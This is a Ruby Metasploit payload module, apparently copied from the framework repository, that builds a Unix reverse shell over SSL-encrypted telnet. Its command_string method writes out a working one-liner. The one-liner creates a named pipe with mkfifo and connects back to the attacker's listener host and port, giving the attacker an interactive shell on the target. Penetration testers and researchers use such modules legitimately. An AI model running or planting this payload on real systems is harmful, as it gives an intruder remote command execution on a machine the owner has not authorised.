JustAnda7
60 lines
1.7 KiB
Ruby
60 lines
1.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = :dynamic
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)',
|
|
'Description' => %q{
|
|
Creates an interactive shell via mkfifo and telnet.
|
|
This method works on Debian and other systems compiled
|
|
without /dev/tcp support. This module uses the '-z'
|
|
option included on some systems to encrypt using SSL.
|
|
},
|
|
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Handler' => Msf::Handler::ReverseTcpSsl,
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'telnet',
|
|
'Payload' =>
|
|
{
|
|
'Offsets' => { },
|
|
'Payload' => ''
|
|
}
|
|
))
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('TelnetPath', [true, 'The path to the telnet executable', 'telnet'])
|
|
]
|
|
)
|
|
end
|
|
|
|
#
|
|
# Constructs the payload
|
|
#
|
|
def generate(_opts = {})
|
|
vprint_good(command_string)
|
|
super + command_string
|
|
end
|
|
|
|
#
|
|
# Returns the command string to use for execution
|
|
#
|
|
def command_string
|
|
pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 )
|
|
"mkfifo #{pipe_name} && #{datastore['TelnetPath']} -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
|
|
end
|
|
end
|